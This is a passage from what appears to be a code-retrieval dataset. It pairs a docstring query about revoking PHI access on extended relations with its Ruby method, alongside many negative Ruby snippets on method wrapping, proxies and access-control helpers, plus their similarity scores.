ar.error\n\n # Return the message result to caller.\n ar.result\n end # define_method\n end # instance_eval\n\n self\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def delegating_method; end", "def proxy; end", "def proxy; end", "def proxy; end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def method_missing(sym, *args, &block)\n proxy_target.__send__(sym, *args, &block)\n end", "def method_missing(sym, *args, &block)\n proxy_target.__send__(sym, *args, &block)\n end", "def method_missing(method_name, *arguments, &block)\n # Check to see if there is a outer_profile_dsl plugin activator hook with the method name\n registry = Inspec::Plugin::V2::Registry.instance\n hook = registry.find_activators(plugin_type: :outer_profile_dsl, activator_name: method_name).first\n if hook\n # OK, load the hook if it hasn't been already. We'll then know a module,\n # which we can then inject into the context\n hook.activate\n # Inject the module's methods into the context\n # implementation_class is the field name, but this is actually a module.\n self.class.include(hook.implementation_class)\n # Now that the module is loaded, it defined one or more methods\n # (presumably the one we were looking for.)\n # We still haven't called it, so do so now.\n send(method_name, *arguments, &block)\n else\n super\n end\n end", "def method_missing(method_name, *args, &block)\n wrapped.send(method_name, *args, &block)\n end", "def method_missing( sym, *args )\n\t\treturn super unless body = self.class.real_methods[ sym ]\n\n\t\tif self.authorized?\n\t\t\treturn body.clone.bind( self ).call( *args )\n\t\telse\n\t\t\tself.log.error \"Guarded method %p called without authentication!\" % [ sym ]\n\t\t\traise SecurityError, \"not authenticated\"\n\t\tend\n\tend", "def wrap(object); end", "def __phi_extended_methods\n self.class.__phi_extend_methods.to_a\n end", "def leaving_wrap_method\n @@inside_methods -= 1\n end", "def wrapper; end", "def __run_before_wrappers(wrappers, method_name, args, high_arity = false)\n wrappers.each do |wrapper|\n next unless wrapper.respond_to?(method_name)\n\n args = if high_arity\n wrapper.public_send(method_name, *args)\n else\n wrapper.public_send(method_name, args)\n end\n end\n args\n end", "def method_missing(method, *args, &block)\n __proxy_result__.send(method, *args, &block)\n end", "def method_missing (method, *args, &block)\n __proxy_result__.send(method, *args, &block)\n end", "def with_methods\n method_names = @director ? @director.methods_wrapped.map {|m| m.name } : []\n [self.code.methods].flatten.each do |method|\n next if do_not_wrap?(method)\n next if method_names.include?(method.name)\n\n arguments = [method.arguments].flatten\n\n # Ignore methods that have non-public arguments anywhere\n if !arguments.empty? && !arguments.select {|a| !a.cpp_type.base_type.public?}.empty?\n Logger.info \"Ignoring method #{method.qualified_name} due to non-public argument type(s)\"\n next\n end\n\n if method.static?\n add_child StaticMethodNode.new(method, self)\n else\n add_child MethodNode.new(method, self)\n end\n end\n end", "def wrap_method(base, method_name, options = {}, &wrapper_block)\n # Option defaults (need to check for nil if we default to true)\n if options[:raise_on_missing].nil?\n options[:raise_on_missing] = true\n end\n\n # Grab helper methods\n base_method, def_method = resolve_helpers(base, method_name,\n options[:raise_on_missing])\n if base_method.nil?\n # Indicates that we're not done building a Module yet\n return\n end\n\n wrap_method_block = proc do |*args, &method_block|\n # We're trying to prevent loops by maintaining a stack of wrapped\n # method invocations.\n @__collapsium_methods_callstack ||= []\n\n # Our current binding is based on the wrapper block and our own class,\n # as well as the arguments (CRC32).\n signature = Zlib.crc32(args.to_s)\n the_binding = [wrapper_block.object_id, self.class.object_id, signature]\n\n # We'll either pass the wrapped method to the wrapper block, or invoke\n # it ourselves.\n wrapped_method = base_method.bind(self)\n\n # If we do find a loop with the current binding involved, we'll just\n # call the wrapped method.\n if Methods.loop_detected?(the_binding, @__collapsium_methods_callstack)\n next wrapped_method.call(*args, &method_block)\n end\n\n # If there is no loop, call the wrapper block and pass along the\n # wrapped method as the first argument.\n args.unshift(wrapped_method)\n\n # Then yield to the given wrapper block. The wrapper should decide\n # whether to call the old method or not. But by modifying our stack\n # before/after the invocation, we allow the loop detection above to\n # work.\n @__collapsium_methods_callstack << the_binding\n result = wrapper_block.call(*args, &method_block)\n @__collapsium_methods_callstack.pop\n\n next result\n end\n\n # Hack for calling the private method \"define_method\"\n def_method.call(method_name, &wrap_method_block)\n\n # Register this wrapper with the base\n base_wrappers = base.instance_variable_get(WRAPPER_HASH)\n base_wrappers ||= {}\n base_wrappers[method_name] ||= []\n base_wrappers[method_name] << wrapper_block\n base.instance_variable_set(WRAPPER_HASH, base_wrappers)\n end", "def around_espionage\n 'this method is overriding #around_alias\n defined in the module, but will concateate\n the previously defined method, using the\n #convolutions alias defined in the included module.\n here it comes' << convolutions\n end", "def create_proc(write_access)\n return proc do |wrapped_method, *args, &block|\n # If there are no arguments, there's nothing to do with paths. Just\n # delegate to the hash.\n if args.empty?\n next wrapped_method.call(*args, &block)\n end\n\n # The method's receiver is encapsulated in the wrapped_method; we'll\n # use it a few times so let's reduce typing. This is essentially the\n # equivalent of `self`.\n receiver = wrapped_method.receiver\n\n # With any of the dispatch methods, we know that the first argument has\n # to be a key. We'll try to split it by the path separator.\n components = receiver.path_components(args[0].to_s)\n\n # If there are no components, return the receiver itself/the root\n if components.empty?\n next receiver\n end\n\n # Try to find the leaf, based on the given components.\n leaf = recursive_fetch(components, receiver, [], create: write_access)\n\n # Since Methods already contains loop prevention and we may want to\n # call wrapped methods, let's just find the method to call from the\n # leaf by name.\n meth = leaf.method(wrapped_method.name)\n\n # If the first argument was a symbol key, we want to use it verbatim.\n # Otherwise we had pathed access, and only want to pass the last\n # component to whatever method we're calling.\n the_args = args\n if not args[0].is_a?(Symbol) and args[0] != components.last\n the_args = args.dup\n the_args[0] = components.last\n end\n\n # Array methods we're modifying here are indexed, so the first argument\n # must be an integer. Let's make it so :)\n if leaf.is_a? Array and the_args[0][0] =~ /[0-9]/\n the_args = the_args.dup\n the_args[0] = the_args[0].to_s.to_i\n end\n\n # Then we can continue with that method.\n result = meth.call(*the_args, &block)\n\n # Sadly, we can't just return the result and be done with it.\n # We need to tell the virality function (below) what we know about the\n # result's path prefix, so we enhance the result value explicitly here.\n result_path = receiver.path_components(receiver.path_prefix)\n result_path += components\n next ViralCapabilities.enhance_value(leaf, result, result_path)\n end # proc\n end", "def hook!(method_to_hook)\n hooked_method = hooked_method(method_to_hook)\n original_method = original_method(method_to_hook)\n line = __LINE__; alias_these_hooks = <<-hooks\n alias :#{original_method} :#{method_to_hook}\n def #{hooked_method}(*args)\n Hook.for(self.class).execute_before(:#{method_to_hook}, self)\n result = #{original_method}(*args)\n Hook.for(self.class).execute_after(:#{method_to_hook}, self)\n result\n end\n alias :#{method_to_hook} :#{hooked_method}\n hooks\n klass.class_eval alias_these_hooks, __FILE__, line.succ\n end", "def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end", "def define_proxy_method(method_name)\n if method_name.to_s =~ /=$/\n eval_line = __LINE__ + 1\n sclass.class_eval %{\n def #{method_name}(*args, &block)\n @flexmock_proxy.mock.__send__(:#{method_name}, *args, &block) \n end\n }, __FILE__, eval_line\n else\n eval_line = __LINE__ + 1\n sclass.class_eval %{\n def #{method_name}(*args, &block)\n @flexmock_proxy.mock.#{method_name}(*args, &block) \n end\n }, __FILE__, eval_line\n make_rcov_recognize_the_above_eval_is_covered = true\n end\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def after_method(method)\n @@after_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end", "def call\n __proxied_call\n end", "def around(klass, meth_name, &block)\n intercept(klass, meth_name, :around, &block)\n end", "def hook(opts = {})\n raise AlreadyHookedError, \"#{base_object} method '#{method_name}' has already been hooked\" if self.class.get(base_object, method_name, singleton_method)\n\n @hook_opts = opts\n @original_method_visibility = method_visibility_of(method_name)\n hook_opts[:visibility] ||= original_method_visibility\n\n if original_method_visibility || !hook_opts[:force]\n @original_method = current_method\n end\n\n if original_method && original_method.owner == base_object\n original_method.owner.send(:remove_method, method_name)\n end\n\n if singleton_method\n if base_object.singleton_class.method_defined?(method_name) || base_object.singleton_class.private_method_defined?(method_name)\n base_object.singleton_class.send(:alias_method, method_name, method_name)\n end\n base_object.define_singleton_method(method_name, override_method)\n else\n if base_object.method_defined?(method_name) || base_object.private_method_defined?(method_name)\n base_object.send(:alias_method, method_name, method_name)\n end\n base_object.send(:define_method, method_name, override_method)\n end\n\n if [:public, :protected, :private].include? hook_opts[:visibility]\n method_owner.send(hook_opts[:visibility], method_name)\n end\n\n Agency.instance.recruit(self)\n @was_hooked = true\n self\n end", "def recreate_method_with_advices(\n method,\n before_advices,\n after_advices,\n around_advice\n )\n aspect = @aspect\n logger = @logger\n interception = self\n orig_method = get_wrapped_method_of method\n\n code = MethodTemplate::TEMPLATE.result(binding)\n logger.debug 'generate-code', method, code\n context.class_eval code, __FILE__, __LINE__ + 4\n end", "def method_missing(method, *args, &block)\n @delegate.send(method, *args, &block)\n rescue NoMethodError => e\n raise e, e.message.sub(/ for #<.*$/, \" via proxy for #{@delegate}\")\n end", "def intercept(klass,mname,&blk)\n unless klass.class == Class || klass.class == Module\n fail \"first arg to intercept_method should be a class or module\"\n end\n mname = mname.to_sym\n old_method = klass.instance_method mname\n # old_method is unbound at this point\n\n# new_meth = instrument_method(klass,mname,old_method,blk)\n# klass.class_eval {define_method mname, &new_meth}\n @klasses[klass] = {} unless @klasses.key? klass \n @klasses[klass][mname] = [old_method,blk]\n @frame_skips[klass] = {} unless @frame_skips.key? klass\n @frame_skips[klass][mname] = 1\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def method_missing(method, *args, &block)\n # proxy to metadata\n if @metadata.has_key?(method)\n @metadata[method]\n\n else\n super(method, *args, &block)\n end\n end", "def method_missing(method, *args, &block)\n # proxy to metadata\n if @metadata.has_key?(method)\n @metadata[method]\n\n else\n super(method, *args, &block)\n end\n end", "def method_missing(sym, *args, &blk)\n if authenticated? and delegating?(sym)\n current_session.send(sym, *args, &blk)\n else\n super\n end\n end", "def add_proxy_method(method) # :nodoc:\n # Redefine to avoid warnings if the method has already been defined\n proxy.redefine_method(method, &proxified_methods[method])\n end", "def intercept_args(klass,mname,&blk)\n unless klass.class == Class || klass.class == Module\n fail \"first arg to intercept_method should be a class or module\"\n end\n mname = mname.to_sym\n unbound_method = klass.instance_method mname\n \n wrap = lambda do |old,*args|\n record_loc(klass,mname,blk.call(*args))\n old.call(*args)\n end\n\n @klasses[klass] = {} unless @klasses.key? klass \n @klasses[klass][mname] = [unbound_method,wrap]\n @frame_skips[klass] = {} unless @frame_skips.key? klass\n @frame_skips[klass][mname] = 4\n new_meth = instrument_method(klass,mname,unbound_method,wrap)\n klass.class_eval {define_method mname, &new_meth}\n end", "def wrappers(*args, &block); end", "def add_method_hooks\n eigen_class = @target.singleton_class\n\n if @options[:class_methods]\n return unless @target.is_a?(Module)\n\n orig_singleton_method_added = @target.method(:singleton_method_added)\n\n eigen_class.send :define_method, :singleton_method_added do |method|\n aspector_singleton_method_added(method)\n orig_singleton_method_added.call(method)\n end\n else\n if @target.is_a? Module\n orig_method_added = @target.method(:method_added)\n else\n orig_method_added = eigen_class.method(:method_added)\n end\n\n eigen_class.send :define_method, :method_added do |method|\n aspector_instance_method_added(method)\n orig_method_added.call(method)\n end\n end\n end", "def alias_method_chain(target, feature)\n # Strip out punctuation on predicates or bang methods since\n # e.g. target?_without_feature is not a valid method name.\n aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1\n yield(aliased_target, punctuation) if block_given?\n\n with_method, without_method = \"#{aliased_target}_with_#{feature}#{punctuation}\", \"#{aliased_target}_without_#{feature}#{punctuation}\"\n\n alias_method without_method, target\n alias_method target, with_method\n\n case\n when public_method_defined?(without_method)\n public target\n when protected_method_defined?(without_method)\n protected target\n when private_method_defined?(without_method)\n private target\n end\n end", "def grifter_authenticate_do\n auth_methods = self.singleton_methods.select { |m| m =~ /grifter_authenticate$/ }\n auth_methods.each do |m|\n Log.debug \"Executing a grifter_authentication on method: #{m}\"\n self.send(m)\n end\n end", "def patch_method\n # handle ! and ? methods\n meth, punctuation = signature.method.to_s.sub(/([?!=])$/, ''), $1\n\n # handle +, -, [], etc.\n meth = case meth\n when '+'\n 'plus'\n when '-'\n 'minus'\n when '/'\n 'slash'\n when '*'\n 'splat'\n when '[]'\n 'square'\n else\n meth\n end\n signature.target.class_eval <<-RB\n def #{meth}_with_counter#{punctuation}(*args, &block)\n #{meth}_without_counter#{punctuation}(*args, &block)\n ensure\n unless Patcher.no_trace?\n Patcher.no_trace do\n COUNTS['#{signature}'] += 1\n end\n end\n end\n Patcher.no_trace do\n alias #{meth}_without_counter#{punctuation} #{signature.method}\n alias #{signature.method} #{meth}_with_counter#{punctuation}\n end\n RB\n end", "def method_missing(method, *args, &block)\n if known_methods.include?(method)\n if args.first.is_a?(Hash)\n call_wrap(method, args.first)\n else\n hash_args = args_to_hash(method, *args)\n call_wrap(method, hash_args)\n end\n else\n super\n end\n end", "def __run_after_wrappers(wrappers, method_name, args, return_value, high_arity = false)\n wrappers.reverse_each do |wrapper|\n next unless wrapper.respond_to?(method_name)\n\n return_value = if high_arity\n wrapper.public_send(method_name, return_value, *args)\n else\n wrapper.public_send(method_name, return_value, args)\n end\n end\n return_value\n end", "def apply(klass, method)\n if klass.is_a?(String)\n return unless Object.const_defined?(klass)\n\n klass = Object.const_get(klass)\n end\n\n proxy = self\n original_method = \"_tainted_love_original_#{method}\"\n\n klass.class_eval do\n alias_method original_method, method\n\n define_method method do |*args, &given_block|\n proxy.handle(self, original_method, *args, &given_block)\n end\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def method_missing(method, *args, &block)\n generate_unsafe_delegation(method)\n send(method, *args, &block)\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def register_capabilities(methods); end", "def patched_methods\n @patched_methods ||= {}.with_indifferent_access\n end", "def flexmock_invoke_original(object, method, *args, &block)\n object.instance_variable_get(:@flexmock_proxy).proxy.flexmock_invoke_original(method, args, &block)\n end", "def flexmock_invoke_original(object, method, *args, &block)\n object.instance_variable_get(:@flexmock_proxy).proxy.flexmock_invoke_original(method, args, &block)\n end", "def method_missing(m, *args, &_block)\n set_accessors(m)\n if valid_proxy_method?\n define_proxy_method(m)\n return send(m, args.first)\n end\n\n super\n end", "def create_configurable_methods!\n return if self.class.methods_configured == true\n \n self.class.send(:alias_method, klass_name.demodulize.underscore.to_sym, :record)\n self.class.send(:attr_writer, login_field) if !respond_to?(\"#{login_field}=\")\n self.class.send(:attr_reader, login_field) if !respond_to?(login_field)\n self.class.send(:attr_writer, password_field) if !respond_to?(\"#{password_field}=\")\n self.class.send(:define_method, password_field) {} if !respond_to?(password_field)\n \n self.class.class_eval <<-\"end_eval\", __FILE__, __LINE__\n def #{login_field}_with_authentication_flag=(value)\n self.authenticating_with = :password\n self.#{login_field}_without_authentication_flag = value\n end\n alias_method_chain :#{login_field}=, :authentication_flag\n \n def #{password_field}_with_authentication_flag=(value)\n self.authenticating_with = :password\n self.#{password_field}_without_authentication_flag = value\n end\n alias_method_chain :#{password_field}=, :authentication_flag\n \n private\n # The password should not be accessible publicly. This way forms using form_for don't fill the password with the attempted password. The prevent this we just create this method that is private.\n def protected_#{password_field}\n @#{password_field}\n end\n end_eval\n \n self.class.methods_configured = true\n end", "def to_proxy(*)\n raise NotImplementedError, \"#{__method__} must be implemented in a descendant class!\"\n end", "def to_proxy(*)\n raise NotImplementedError, \"#{__method__} must be implemented in a descendant class!\"\n end", "def proxy\n super\n end", "def wrapper\n -> fn { -> { fn } }\n end", "def proxy(return_type); end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def __run_wrappers(method_cache, input_args, high_arity = false)\n wrappers = method_cache.wrappers.map(&:new)\n args =\n if method_cache.skip_before_wrappers?\n input_args\n else\n __run_before_wrappers(wrappers, method_cache.before_method_name, input_args, high_arity)\n end\n ret = high_arity ? yield(*args) : yield(args)\n return ret if method_cache.skip_after_wrappers?\n\n __run_after_wrappers(wrappers, method_cache.after_method_name, args, ret, high_arity)\n end", "def enable!\n @mutex.synchronize do\n return self if @enabled\n\n this = self\n mod_target.instance_eval do\n case this.scope\n when :public\n else\n public this.meth\n end\n\n alias_method this.old_meth, this.meth if\n ! method_defined? this.old_meth\n\n alias_method this.meth, this.new_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n\n enabled!\n @enabled = true\n end\n self\n end", "def define_proxy_method(method_name)\n if method_name.to_s =~ /=$/\n eval_line = __LINE__ + 1\n target_class_eval %{\n def #{method_name}(*args, &block)\n instance_variable_get('@flexmock_proxy').\n mock.__send__(:#{method_name}, *args, &block)\n end\n }, __FILE__, eval_line\n else\n eval_line = __LINE__ + 1\n target_class_eval %{\n def #{method_name}(*args, &block)\n instance_variable_get('@flexmock_proxy').\n mock.#{method_name}(*args, &block)\n end\n }, __FILE__, eval_line\n _ = true # make rcov recognize the above eval is covered\n end\n end", "def decorated_object_behavior\n #code\n end", "def flexmock_invoke_original(method, args)\n method_proc = @method_definitions[method]\n method_proc.call(*args)\n end", "def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def protected_instance_methods(include_super=true) end", "def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end", "def liquid_method_missing(method); end", "def stop_intercepting!\n @original_methods.each do |m|\n class_eval do\n alias_method m, \"intercepted_#{m}\"\n remove_method \"intercepted_#{m}\"\n end\n end\n\n class_eval do\n remove_method :synthesis_expectation\n remove_method :synthesis_expectation=\n end\n end", "def hide_existing_method(method_name)\n stow_existing_definition(method_name)\n define_proxy_method(method_name)\n end", "def hide_existing_method(method_name)\n stow_existing_definition(method_name)\n define_proxy_method(method_name)\n end", "def send_bypass_singleton meth, *args, &block\n self.class.instance_method(meth).bind(self).call *args, &block\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end" ]
[ "0.78887254", "0.743288", "0.62238234", "0.5871042", "0.57715297", "0.57334656", "0.56094", "0.5606861", "0.55788046", "0.5531436", "0.5531436", "0.54988474", "0.5495265", "0.5470079", "0.5404526", "0.53701097", "0.53644806", "0.5364063", "0.53249943", "0.5303578", "0.5273308", "0.5241819", "0.5230951", "0.5227788", "0.521736", "0.52133965", "0.52133965", "0.52133965", "0.5175991", "0.5168785", "0.51627547", "0.5161619", "0.5158055", "0.51527953", "0.5140216", "0.51331455", "0.5117392", "0.5114487", "0.51085263", "0.5107323", "0.5096021", "0.50914174", "0.50824", "0.50811034", "0.5078122", "0.5072361", "0.5066638", "0.5064947", "0.5062694", "0.50523514", "0.5049148", "0.50272155", "0.500875", "0.49982312", "0.4997213", "0.49971673", "0.49960667", "0.49857432", "0.49857432", "0.4975906", "0.4962069", "0.49575815", "0.49554485", "0.4955328", "0.49514538", "0.49500698", "0.4944744", "0.49429995", "0.4937467", "0.49317262", "0.4919025", "0.49132398", "0.49103114", "0.49035233", "0.489843", "0.48958844", "0.48958844", "0.48948854", "0.48881012", "0.48753878", "0.48753878", "0.48722094", "0.48718432", "0.48709497", "0.4867849", "0.48577023", "0.485018", "0.48451984", "0.48441255", "0.484072", "0.48272347", "0.48239538", "0.48208347", "0.48143175", "0.47962913", "0.4793993", "0.47878063", "0.47878063", "0.47800863", "0.47673416" ]
0.71682954
2
Revoke PHI access for all `extend`ed relations (or only those given)
def revoke_extended_phi!(relations = nil) relations ||= @__phi_relations_extended relations.each do |relation| relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord) end @__phi_relations_extended.subtract(relations) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def removing_plan_relation(transaction, parent, child, relations); end", "def delete_extinct_permissions\n db_perms = ::Permission.find(:all).dup\n db_perms.each do |dbp|\n unless @permissions.include?(Lockdown.get_symbol(dbp.name))\n Lockdown.logger.info \">> Lockdown: Permission no longer in init.rb: #{dbp.name}, deleting.\"\n ug_table = Lockdown.user_groups_hbtm_reference.to_s\n if \"permissions\" < ug_table\n join_table = \"permissions_#{ug_table}\"\n else\n join_table = \"#{ug_table}_permissions\"\n end\n Lockdown.database_execute(\"delete from #{join_table} where permission_id = #{dbp.id}\")\n dbp.destroy\n end\n end\n end", "def clear_relations(remove_internal: false, remove_strong: true)\n modified_plan = false\n if remove_internal\n each_event do |ev|\n if ev.clear_relations(remove_strong: remove_strong)\n modified_plan = true\n end\n end\n else\n modified_plan =\n clear_events_external_relations(remove_strong: remove_strong)\n end\n super(remove_strong: remove_strong) || modified_plan\n end", "def drop_all!(securable_type)\n db = AccessControl.db\n nodes = db[:ac_nodes].filter(securable_type: securable_type)\n nodes_subquery = nodes.select(:id)\n\n # Relying on the fact that assignments are cascade-deleteable.\n db[:ac_assignments].filter(node_id: nodes_subquery).delete\n\n db[:ac_parents].filter(parent_id: nodes_subquery).delete\n db[:ac_parents].filter(child_id: nodes_subquery).delete\n\n nodes.delete\n end", "def revoke_all_permissions\n update_column(:admin, nil)\n UserPermission.where(user_id: id).each(&:destroy)\n end", "def relation_withdraw_all(user)\n Note_Relation.all(:note_id => self.id, :user_id => user.id ).destroy!\n end", "def clear_relations\n each_event { |ev| ev.clear_relations }\n\t super()\n self\n\tend", "def delete_related!(*names)\n # Recurse on the statement.\n @statement.delete_related!(*names)\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def remove_all_tenants\n @apt_tenants.clear\n end", "def remove_relation\n relation_scope.where.not(@id_key => remote_objects_ids)\n end", "def delete_relation_for association\n @relations.reject!{ |r| r.association == association || r.association == association.singularize}\n end", "def remove (*perms)\n perms = perms.map(&:to_s)\n delete(*proxy_target.select{|a|perms.include?(a.permission.name)})\n end", "def remove_access_to(organisations_to_remove)\n self.organisations = self.organisations - Array(organisations_to_remove)\n end", "def remove_access_to(organisations_to_remove)\n self.organisations = self.organisations - Array(organisations_to_remove)\n end", "def delete_related!(*names)\n # Delete the inner signals whose name are in names.\n @inners.delete_if { |sig| names.include?(sig.name) }\n # Recurse on the statements.\n @statements.each do |statement|\n statement.delete_related!(*names)\n end\n # Delete the statements that contain signals whose name are\n # in names.\n @statements.delete_if { |statement| statement.use_name?(*names) }\n end", "def deregister_submodels(set)\n current_size = submodels.size\n submodels.difference!(set.to_value_set)\n if m = supermodel\n m.deregister_submodels(set)\n end\n current_size != submodels.size\n end", "def remove_relation\n relation_scope.where(@id_key => deleted_remote_objects_ids)\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def deleteForeignEntries(keys, main)\n keys.each { |tbl, lnks|\n if (lnks.empty?) then \n raise Puppet::DevError, \"Link missing foreign keys for #{tbl} in foreign_keys variable of vclresource child provider\"\n end\n if self.class.protectedHashKeys.include? tbl then\n # do nothing\n else\n if lnks[:recurse] == nil then\n lnks[:recurse] = []\n end\n lnks.each { |col, lnk|\n if self.class.protectedHashKeys.include? col then\n # do nothing\n elsif lnks[:recurse].include? col then \n if keys[tbl][col][:step][0].split('.')[0] == main then\n qry = \"DELETE FROM #{tbl} WHERE #{keys[tbl][col][:step][1]} NOT IN (SELECT #{keys[tbl][col][:step][0].split('.')[1]} FROM #{main})\"\n self.class.runQuery(qry)\n end\n deleteForeignEntries(lnks, tbl)\n end\n }\n end\n }\n end", "def uninvite\n @meal = Meal.find(params[:meal_id])\n authorize @meal, :update?\n temp_user = @meal.invited_users.find(params[:user_id])\n @meal.invited_users.delete(temp_user)\n redirect_to @meal\n end", "def 